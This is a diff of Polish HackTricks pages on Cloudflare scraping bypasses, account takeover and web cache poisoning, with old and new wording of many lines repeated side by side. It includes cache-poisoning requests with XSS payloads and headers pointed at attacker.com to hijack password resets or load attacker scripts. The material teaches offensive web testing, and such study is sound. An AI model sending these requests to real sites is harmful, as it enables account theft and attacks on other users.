To spowoduje, że **połączenia niepochodzące z adresów IP Cloudflare** zostaną odrzucone. Jest to również podatne na wcześniejszą konfigurację, w której atakujący po prostu **skieruje swoją własną domenę w Cloudflare** na adres IP ofiary i ją zaatakuje.
Więcej informacji [**tutaj**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
## Ominięcie Cloudflare dla scrapowania
## Ominięcie Cloudflare dla scrapingu
### Pamięć podręczna
Czasami chcesz po prostu ominąć Cloudflare, aby tylko scrapować stronę internetową. Istnieją pewne opcje:
Czasami chcesz po prostu ominąć Cloudflare, aby tylko przeszukiwać stronę internetową. Istnieją na to pewne opcje:
* Użyj pamięci podręcznej Google: `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
* Użyj innych usług pamięci podręcznej, takich jak [https://archive.org/web/](https://archive.org/web/)
### Narzędzia
Niektóre narzędzia, takie jak poniższe, mogą ominąć (lub były w stanie ominąć) ochronę Cloudflare przed scrapowaniem:
* [https://github.com/sarperavci/CloudflareBypassForScraping](https://github.com/sarperavci/CloudflareBypassForScraping)
### Rozwiązania Cloudflare
Opracowano kilka rozwiązań do omijania Cloudflare:
Zostało opracowanych kilka rozwiązań Cloudflare:
* [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr)
* [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [Przewodnik tutaj](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
@ -110,15 +116,15 @@ Opracowano kilka rozwiązań do omijania Cloudflare:
### Wzmocnione przeglądarki bezinterfejsowe <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
Użyj przeglądarki bezinterfejsowej, która nie jest wykrywana jako przeglądarka zautomatyzowana (może być konieczne dostosowanie jej do tego). Niektóre opcje to:
Użyj przeglądarki bez interfejsu, która nie jest wykrywana jako przeglądarka zautomatyzowana (możesz potrzebować dostosować ją do tego). Niektóre opcje to:
* **Puppeteer:** Wtyczka [stealth](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) dla [puppeteer](https://github.com/puppeteer/puppeteer).
* **Playwright:** Wkrótce pojawi się wtyczka [stealth](https://www.npmjs.com/package/playwright-stealth) dla Playwright. Śledź postępy [tutaj](https://github.com/berstend/puppeteer-extra/issues/454) i [tutaj](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
* **Playwright:** Wkrótce w Playwright pojawi się wtyczka [stealth](https://www.npmjs.com/package/playwright-stealth). Śledź postępy [tutaj](https://github.com/berstend/puppeteer-extra/issues/454) i [tutaj](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
* **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) zoptymalizowany łatka do Selenium Chromedriver.
### Inteligentny Proxy z Wbudowanym Ominięciem Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
### Inteligentny Proxy z wbudowanym ominięciem Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
**Inteligentne proxy** są ciągle aktualizowane przez specjalizowane firmy, które mają na celu obejście środków bezpieczeństwa Cloudflare (ponieważ to ich działalność).
**Inteligentne proxy** są ciągle aktualizowane przez specjalizowane firmy, dążąc do obejścia środków bezpieczeństwa Cloudflare (ponieważ to ich działalność).
Niektóre z nich to:
@ -131,11 +137,11 @@ Dla tych, którzy szukają zoptymalizowanego rozwiązania, wyróżnia się [Aggr
### Odwrócenie Ochrony Przeciwbota Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
Odwracanie ochrony przeciwbota Cloudflare to taktyka stosowana przez dostawców inteligentnych proxy, odpowiednia do rozległego scrapowania stron internetowych bez wysokich kosztów związanych z uruchamianiem wielu przeglądarek bezinterfejsowych.
Odwracanie ochrony przeciwbota Cloudflare to taktyka stosowana przez dostawców inteligentnych proxy, odpowiednia do rozległego przeszukiwania stron internetowych bez wysokich kosztów związanych z uruchamianiem wielu przeglądarek bez interfejsu.
**Zalety:** Ta metoda pozwala na stworzenie niezwykle wydajnego ominięcia, które specjalnie celuje w kontrole Cloudflare, idealne do operacji na dużą skalę.
**Wady:** Wadą jest złożoność związana z zrozumieniem i oszukiwaniem celowo niejasnego systemu przeciwbota Cloudflare, wymagająca ciągłego wysiłku w celu testowania różnych strategii i aktualizacji ominięcia w miarę udoskonalania swojej ochrony przez Cloudflare.
**Wady:** Wadą jest złożoność związana z zrozumieniem i oszukiwaniem celowo niejasnego systemu przeciwbota Cloudflare, wymagająca ciągłego wysiłku w testowaniu różnych strategii i aktualizacji ominięcia w miarę udoskonalania swojej ochrony przez Cloudflare.
Dowiedz się więcej na temat tego, jak to zrobić w [oryginalnym artykule](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/).
@ -150,7 +156,7 @@ Dowiedz się więcej na temat tego, jak to zrobić w [oryginalnym artykule](http
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -2,70 +2,69 @@
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## **Problem z Autoryzacją**
## **Problem Autoryzacji**
Należy spróbować zmienić adres e-mail konta i **zbadać proces potwierdzania**. Jeśli zostanie stwierdzone, że jest **słaby**, adres e-mail powinien zostać zmieniony na adres zamierzonej ofiary, a następnie potwierdzony.
Adres e-mail konta powinien zostać zmieniony, a proces potwierdzenia **musi zostać zbadany**. Jeśli zostanie uznany za **słaby**, adres e-mail powinien zostać zmieniony na adres zamierzonej ofiary, a następnie potwierdzony.
## **Problem z Normalizacją Unicode**
## **Problem Normalizacji Unicode**
1. Konto zamierzonej ofiary `victim@gmail.com`
2. Należy utworzyć konto, używając Unicode\
2. Konto powinno zostać utworzone przy użyciu Unicode\
na przykład: `vićtim@gmail.com`
Aby uzyskać więcej informacji, odwołaj się do dokumentu na temat Normalizacji Unicode:
Aby uzyskać więcej informacji, zapoznaj się z dokumentem na temat Normalizacji Unicode:
[unicode-normalization.md](unicode-injection/unicode-normalization.md)
## **Ponowne Wykorzystanie Tokena Resetowania**
Jeśli system docelowy pozwala na **ponowne wykorzystanie linku resetowania**, należy podjąć próby **znalezienia więcej linków resetowania** za pomocą narzędzi takich jak `gau`, `wayback` lub `scan.io`.
Jeśli system docelowy pozwala na **ponowne wykorzystanie linku resetowania**, należy podjąć wysiłki w celu **znalezienia więcej linków resetowania** za pomocą narzędzi takich jak `gau`, `wayback` lub `scan.io`.
## **Przed Przejęciem Konta**
1. Należy użyć adresu e-mail ofiary do zarejestrowania się na platformie i ustawić hasło (należy spróbować je potwierdzić, chociaż brak dostępu do e-maili ofiary może uniemożliwić to).
1. E-mail ofiary powinien zostać użyty do zarejestrowania się na platformie, a hasło powinno zostać ustawione (należy spróbować je potwierdzić, chociaż brak dostępu do e-maili ofiary może uniemożliwić to).
2. Należy poczekać, aż ofiara zarejestruje się za pomocą OAuth i potwierdzi konto.
3. Mamy nadzieję, że zwykła rejestracja zostanie potwierdzona, umożliwiając dostęp do konta ofiary.
3. Mamy nadzieję, że regularna rejestracja zostanie potwierdzona, umożliwiając dostęp do konta ofiary.
## **Błędna Konfiguracja CORS a Przejęcie Konta**
## **Błąd Konfiguracji CORS w celu Przejęcia Konta**
Jeśli strona zawiera **błędy konfiguracji CORS**, możesz być w stanie **ukraść wrażliwe informacje** od użytkownika w celu **przejęcia jego konta** lub zmuszenia go do zmiany informacji uwierzytelniających w tym samym celu:
Jeśli strona zawiera **błędy konfiguracji CORS**, możesz być w stanie **ukraść wrażliwe informacje** od użytkownika w celu **przejęcia jego konta** lub zmuszenia go do zmiany informacji uwierzytelniających w tym celu:
{% content-ref url="cors-bypass.md" %}
[cors-bypass.md](cors-bypass.md)
{% endcontent-ref %}
## **CSRF w celu Przejęcia Konta**
## **CSRF a Przejęcie Konta**
Jeśli strona jest podatna na CSRF, możesz być w stanie **zmienić hasło**, adres e-mail lub uwierzytelnienie użytkownika, aby następnie uzyskać do niego dostęp:
Jeśli strona jest podatna na CSRF, możesz być w stanie sprawić, że **użytkownik zmieni swoje hasło**, e-mail lub uwierzytelnienie, aby następnie uzyskać do niego dostęp:
{% content-ref url="csrf-cross-site-request-forgery.md" %}
[csrf-cross-site-request-forgery.md](csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
## **XSS w celu Przejęcia Konta**
## **XSS a Przejęcie Konta**
Jeśli znajdziesz XSS w aplikacji, możesz być w stanie ukraść ciasteczka, lokalne dane lub informacje ze strony internetowej, które umożliwią przejęcie konta:
Jeśli znajdziesz XSS w aplikacji, możesz być w stanie ukraść ciasteczka, lokalne przechowywanie danych lub informacje ze strony internetowej, które mogą umożliwić przejęcie konta:
{% content-ref url="xss-cross-site-scripting/" %}
[xss-cross-site-scripting](xss-cross-site-scripting/)
{% endcontent-ref %}
## **Ten sam źródło + Ciasteczka**
## **Ten Sam Pochodzenie + Ciasteczka**
Jeśli znajdziesz ograniczony XSS lub przejęcie subdomeny, możesz manipulować ciasteczkami (np. ustawić je na stałe), aby próbować naruszyć konto ofiary:
Jeśli znajdziesz ograniczony XSS lub przejęcie subdomeny, możesz manipulować ciasteczkami (np. ustalając je) w celu próby skompromitowania konta ofiary:
{% content-ref url="hacking-with-cookies/" %}
[hacking-with-cookies](hacking-with-cookies/)
@ -79,9 +78,9 @@ Jeśli znajdziesz ograniczony XSS lub przejęcie subdomeny, możesz manipulować
## **Manipulacja Odpowiedzią**
Jeśli odpowiedź uwierzytelniania można **zredukować do prostego booleana, spróbuj zmienić false na true** i sprawdź, czy uzyskasz dostęp.
Jeśli odpowiedź uwierzytelniająca może zostać **zredukowana do prostego booleana, spróbuj zmienić false na true** i sprawdź, czy uzyskasz dostęp.
## OAuth w celu Przejęcia Konta
## OAuth a Przejęcie Konta
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
@ -89,35 +88,45 @@ Jeśli odpowiedź uwierzytelniania można **zredukować do prostego booleana, sp
## Wstrzyknięcie Nagłówka Host
1. Nagłówek Host jest modyfikowany w trakcie inicjowania żądania resetowania hasła.
1. Nagłówek Host jest modyfikowany podczas inicjowania żądania resetowania hasła.
2. Nagłówek proxy `X-Forwarded-For` jest zmieniany na `attacker.com`.
3. Nagłówki Host, Referrer i Origin są jednocześnie zmieniane na `attacker.com`.
4. Po zainicjowaniu resetowania hasła i wybraniu opcji ponownego wysłania wiadomości, stosowane są wszystkie trzy wymienione metody.
4. Po zainicjowaniu resetowania hasła, a następnie wybraniu opcji ponownego wysłania wiadomości e-mail, stosowane są wszystkie trzy wymienione metody.
## Manipulacja Odpowiedzią
1. **Manipulacja Kodem**: Kod statusu jest zmieniany na `200 OK`.
2. **Manipulacja Kodem i Treścią**:
- Kod statusu jest zmieniany na `200 OK`.
- Treść odpowiedzi jest modyfikowana na `{"success":true}` lub pusty obiekt `{}`.
* Kod statusu jest zmieniany na `200 OK`.
* Treść odpowiedzi jest modyfikowana na `{"success":true}` lub pusty obiekt `{}`.
Techniki manipulacji te są skuteczne w przypadkach, gdy JSON jest wykorzystywany do przesyłania i odbierania danych.
Techniki manipulacji są skuteczne w przypadkach, gdy JSON jest wykorzystywany do przesyłania i odbierania danych.
## Zmiana e-mail bieżącej sesji
## Odwołania
Z [tego raportu](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea):
* Atakujący prosi o zmianę swojego e-maila na nowy.
* Atakujący otrzymuje link do potwierdzenia zmiany e-maila.
* Atakujący wysyła ofierze link, aby kliknęła w niego.
* E-mail ofiary zostaje zmieniony na ten wskazany przez atakującego.
* Atakujący może odzyskać hasło i przejąć konto.
## Odnośniki
* [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050)
* [https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>

View file

@ -0,0 +1,261 @@
# Zatrucie pamięci podręcznej i Oszustwo pamięci podręcznej
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane narzędzia społecznościowe na świecie**.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Różnica
> **Jaka jest różnica między zatruciem pamięci podręcznej sieci web a oszustwem pamięci podręcznej sieci web?**
>
> * W **zatruciu pamięci podręcznej sieci web**, atakujący powoduje, że aplikacja przechowuje pewne złośliwe treści w pamięci podręcznej, a te treści są serwowane z pamięci podręcznej innym użytkownikom aplikacji.
> * W **oszustwie pamięci podręcznej sieci web**, atakujący powoduje, że aplikacja przechowuje pewne wrażliwe treści należące do innego użytkownika w pamięci podręcznej, a następnie atakujący odzyskuje te treści z pamięci podręcznej.
## Zatrucie pamięci podręcznej
Zatrucie pamięci podręcznej ma na celu manipulowanie pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę podczas okresu zanieczyszczenia pamięci podręcznej.
Wykonanie ataku zatrucia pamięci podręcznej obejmuje kilka kroków:
1. **Identyfikacja wejść bez klucza**: Są to parametry, które, chociaż nie są wymagane do przechowywania żądania w pamięci podręcznej, mogą zmienić odpowiedź zwróconą przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystane do manipulowania pamięcią podręczną.
2. **Wykorzystanie wejść bez klucza**: Po zidentyfikowaniu wejść bez klucza, następnym krokiem jest zrozumienie, jak wykorzystać te parametry do zmodyfikowania odpowiedzi serwera w sposób korzystny dla atakującego.
3. **Zapewnienie, że skażona odpowiedź jest przechowywana w pamięci podręcznej**: Ostatnim krokiem jest zapewnienie, że zmodyfikowana odpowiedź jest przechowywana w pamięci podręcznej. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas skażenia pamięci podręcznej otrzyma skażoną odpowiedź.
### Odkrywanie: Sprawdź nagłówki HTTP
Zazwyczaj, gdy odpowiedź została **przechowana w pamięci podręcznej**, będzie to **nagłówek wskazujący na to**, możesz sprawdzić, na które nagłówki powinieneś zwrócić uwagę w tym poście: [**Nagłówki pamięci podręcznej HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Odkrywanie: Kody błędów pamięci podręcznej
Jeśli podejrzewasz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować **wysłać żądania z nieprawidłowym nagłówkiem**, które powinny zostać zwrócone z **kodem stanu 400**. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli **odpowiedź to kod stanu 400**, wiesz, że jest podatne (i nawet możesz przeprowadzić atak typu DoS).
Możesz znaleźć więcej opcji w:
{% content-ref url="cache-poisoning-to-dos.md" %}
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}
Jednak zauważ, że **czasami tego rodzaju kody stanu nie są przechowywane w pamięci podręcznej**, więc ten test może nie być niezawodny.
### Odkrywanie: Identyfikacja i ocena wejść bez klucza
Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943), aby **siłowo testować parametry i nagłówki**, które mogą **zmieniać odpowiedź strony**. Na przykład strona może używać nagłówka `X-Forwarded-For`, aby wskazać klientowi, skąd ma załadować skrypt:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Wywołaj szkodliwą odpowiedź z serwera back-end
Po zidentyfikowaniu parametru/nagłówka sprawdź, w jaki sposób jest **oczyszczany** i **gdzie** jest **odzwierciedlany** lub wpływa na odpowiedź z nagłówka. Czy można go nadużyć w jakiś sposób (wywołać XSS lub załadować kod JS kontrolowany przez ciebie? przeprowadzić atak DoS?...)
### Pobierz zcache'owaną odpowiedź
Po zidentyfikowaniu **strony**, która może być nadużyta, którego **parametru/nagłówka** użyć i **jak** go **nadużyć**, musisz zdobyć zcache'owaną stronę. W zależności od zasobu, który próbujesz umieścić w pamięci podręcznej, może to zająć trochę czasu, możesz musieć próbować przez kilka sekund.\
Nagłówek **`X-Cache`** w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość **`miss`**, gdy żądanie nie było zcache'owane, i wartość **`hit`**, gdy jest zcache'owane.\
Nagłówek **`Cache-Control`** jest również interesujący, aby dowiedzieć się, czy zasób jest zcache'owany i kiedy nastąpi ponowne zcache'owanie zasobu: `Cache-Control: public, max-age=1800`\
Kolejny interesujący nagłówek to **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli zazwyczaj nie są kluczowe. Dlatego jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zatruć pamięć podręczną dla użytkowników korzystających z tego konkretnego `User-Agent`.\
Jeszcze jeden nagłówek związany z pamięcią podręczną to **`Age`**. Określa on czas w sekundach, przez jaki obiekt znajduje się w pamięci podręcznej proxy.
Podczas zcache'owywania żądania, bądź **ostrożny z używanymi nagłówkami**, ponieważ niektóre z nich mogą być **używane w niespodziewany sposób** jako **kluczowe**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** Zatrucie Pamięci Podręcznej z **różnymi przeglądarkami**, aby sprawdzić, czy działa.
## Przykłady Wykorzystania
### Najprostszy przykład
Nagłówek taki jak `X-Forwarded-For` jest odbijany w odpowiedzi w niesanitarny sposób.\
Możesz wysłać podstawowy ładunek XSS i zatruć pamięć podręczną, dzięki czemu każdy, kto uzyskuje dostęp do strony, zostanie poddany atakowi XSS:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Należy pamiętać, że to zatruje żądanie do `/en?region=uk`, a nie do `/en`_
### Zatrucie pamięci podręcznej w celu DoS
{% content-ref url="cache-poisoning-to-dos.md" %}
[cache-poisoning-to-dos.md](cache-poisoning-to-dos.md)
{% endcontent-ref %}
### Wykorzystanie zatrucia pamięci podręcznej do eksploatacji podatności związanych z obsługą plików cookie
Pliki cookie mogą również być odzwierciedlane w odpowiedzi strony. Jeśli można je wykorzystać do spowodowania ataku XSS, na przykład, można wykorzystać XSS w kilku klientach, które wczytują złośliwą odpowiedź z pamięci podręcznej.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Zauważ, że jeśli podatne ciasteczko jest bardzo często używane przez użytkowników, regularne żądania będą czyścić pamięć podręczną.
### Zatrucie pamięci podręcznej z wykorzystaniem wędrówki ścieżką w celu kradzieży klucza API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**Ten opis wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jak było możliwe skradnięcie klucza API OpenAI za pomocą adresu URL takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko pasujące do `/share/*` będzie przechowywane w pamięci podręcznej bez normalizacji adresu URL przez Cloudflare, co zostało zrobione, gdy żądanie dotarło do serwera WWW.
### Wykorzystanie wielu nagłówków do eksploatacji podatności na zatrucie pamięci podręcznej w aplikacjach internetowych <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Czasami będziesz musiał **wykorzystać kilka niezaindeksowanych wejść**, aby móc nadużyć pamięć podręczną. Na przykład, możesz znaleźć **Otwarte przekierowanie** jeśli ustawisz `X-Forwarded-Host` na domenę kontrolowaną przez ciebie i `X-Forwarded-Scheme` na `http`. **Jeśli** serwer przekierowuje wszystkie żądania **HTTP** na HTTPS i używa nagłówka `X-Forwarded-Scheme` jako nazwy domeny dla przekierowania. Możesz kontrolować, gdzie strona jest przekierowywana.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Wykorzystywanie ograniczonego nagłówka `Vary`
Jeśli odkryjesz, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**, musisz znaleźć sposób na wydostanie się z `User-Agent` ofiary i zatruć pamięć podręczną, używając tego agenta użytkownika:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get
Wysyła żądanie GET z zapytaniem w adresie URL i w ciele. Jeśli serwer internetowy używa tego z ciała, a serwer pamięci podręcznej przechowuje ten z adresu URL, każdy, kto uzyskuje dostęp do tego adresu URL, faktycznie użyje parametru z ciała. Podobnie jak w przypadku znalezionej przez Jamesa Kettle'a podatności na stronie internetowej Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
```
### Ukrywanie parametrów
Na przykład w serwerach ruby można oddzielić **parametry** używając znaku **`;`** zamiast **`&`**. Można to wykorzystać do umieszczenia wartości parametrów bez klucza wewnątrz tych z kluczem i nadużyć ich.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Wykorzystanie zatrucia pamięci podręcznej HTTP poprzez nadużycie Przesyłania żądań HTTP
Dowiedz się tutaj, jak przeprowadzić ataki [Zatrucia pamięci podręcznej poprzez nadużycie Przesyłania żądań HTTP](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Automatyczne testowanie zatrucia pamięci podręcznej sieci Web
Skaner podatności pamięci podręcznej sieci Web może być użyty do automatycznego testowania zatrucia pamięci podręcznej sieci Web. Obsługuje wiele różnych technik i jest bardzo konfigurowalny.
Przykładowe użycie: `wcvs -u example.com`
<figure><img src="../../.gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
\
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) do łatwego tworzenia i **automatyzowania prac** z wykorzystaniem najbardziej **zaawansowanych** narzędzi społeczności.\
Otrzymaj dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Przykłady podatności
### Serwer Ruchu Apache ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS przekazywał fragment wewnątrz adresu URL bez usuwania go i generował klucz pamięci podręcznej tylko za pomocą hosta, ścieżki i zapytania (ignorując fragment). Dlatego żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz pamięci podręcznej nie zawierał ładunku wewnątrz niego, tylko hosta, ścieżkę i zapytanie.
### GitHub CP-DoS
